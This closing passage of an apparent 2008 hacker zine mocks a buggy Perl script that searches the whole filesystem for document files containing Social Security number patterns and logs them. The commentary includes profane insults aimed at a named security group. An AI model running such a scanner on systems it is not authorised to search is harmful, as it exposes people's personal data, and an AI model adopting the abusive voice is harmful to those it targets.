4488my $time = sprintf("%02d:%02d:%02d", $hour, $min, $sec); # This is looking alot like C.
4489# sprintf has its uses, but this was unnecessary.
4490
4491my $datetime = "$date $time";
4492# Why did you bother creating $date and $time to being with? Extra scalars.
4493
4494# You know that all your little formatting stuff is lame, right?
4495# Why not just use the localtime as it's returned?
4496# At least you did localtime(time) though. That's something.
4497
4498open (LOG, ">>$logdir/$logname") || die; # REAAALLL slick...
4499print LOG "\nDATE: $datetimen"; # Yea, that came typo'ed like that.
4500
4501# Find all files under this directory
4502find(\&handleFind, '/');
4503sub handleFind { # Again, great spacing.
4504 my $foundFile = $File::Find::name;
4505 return unless ($foundFile =~ /\.(csv|doc|pdf|rtf|txt|xls)?$/i);
4506# Parens look goofy man.
4507 print "SEARCHING: $foundFile\n";
4508 open(FILE, "$foundFile"); # Way to quote the scalar there buddy.
4509 my $found = 0; # Great code design there.
4510
4511# Our guess is that you meant while (<FILE>) but just were too fucking lame to notice
4512# that you lost at the internet. And yes, we did "view source" to be sure ;[
4513 while () {
4514 # Search documents for SSN's
4515 if (/([0-9]{3}-[0-9]{2}-[0-9]{4})/) { # Ah, the implicitness...
4516 $found = $1;
4517 next;
4518 }
4519 }
4520 print LOG "FOUND: $foundFile\n" if $found; # At least you know one-line if()'s
4521}
4522print "\nSearch completed. Wrote to file: $logdir$logname"; # No "\n" or / ?
4523
4524# Thank god it's over at least.
4525# BTW, whitespace is your _FRIEND_! Learn to use it!
4526
4527# TS/SCI security is a good example of some jerkoffs who want to put themselves somewhere in the blog
4528# scene but don't have any content to back them up. So they say "let's put up four or five really
4529# shitty scripts, in different languages, to show those blog-reading bitches that we've got skillz,
4530# but we're going to be too lame to actually get it right or notice the mistakes, and nobody will read
4531# our shit anyways so it's all good"
4532# Good thing we have talented people to poke fun at, otherwise we'd rip apart every fucking piece of
4533# code you penisgrabbers had up there.
4534
4535
4536-[0x19] # Shoutz and Outz ------------------------------------------------
4537
4538That's all, folks. Thanks for coming out. Thanks to the people who helped out, and
4539to everyone who waited patiently. Shouts to everyone using Perl 5.10 already.
4540
4541 ___ _ _ _ _ ___ _
4542| _ | | | | | | | | | | | |
4543| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
4544| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
4545|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
4546
4547Forever Abigail
4548
4549$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
4550"Just another Perl Hacker,"
4551EOF
4552
4553# milw0rm.com [2008-03-21]